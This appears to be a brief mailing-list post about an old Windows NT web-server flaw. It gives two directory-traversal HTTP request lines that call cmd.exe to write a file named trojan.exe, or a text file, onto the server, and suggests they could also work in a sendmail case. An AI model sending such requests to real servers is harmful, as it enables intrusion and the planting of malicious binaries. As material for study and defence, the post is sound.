Ya know, the days of old where we had to use the COPY command to edit
the autoexec.bat come to mind:

An application that uses the following command could potentially upload a
binary to an NT server and run it:

GET ../../winnt/system32/cmd.exe?/c+copy+/b+con+c:\temp\trojan.exe HTTP/1.0

Or if you want to create a text file:

GET ../../winnt/system32/cmd.exe?/c+copy+con+c:\temp\trojan.txt HTTP/1.0

and terminate with a ^Z

Theoretically the commands above should work for the sendmail case that
Jeff explained.
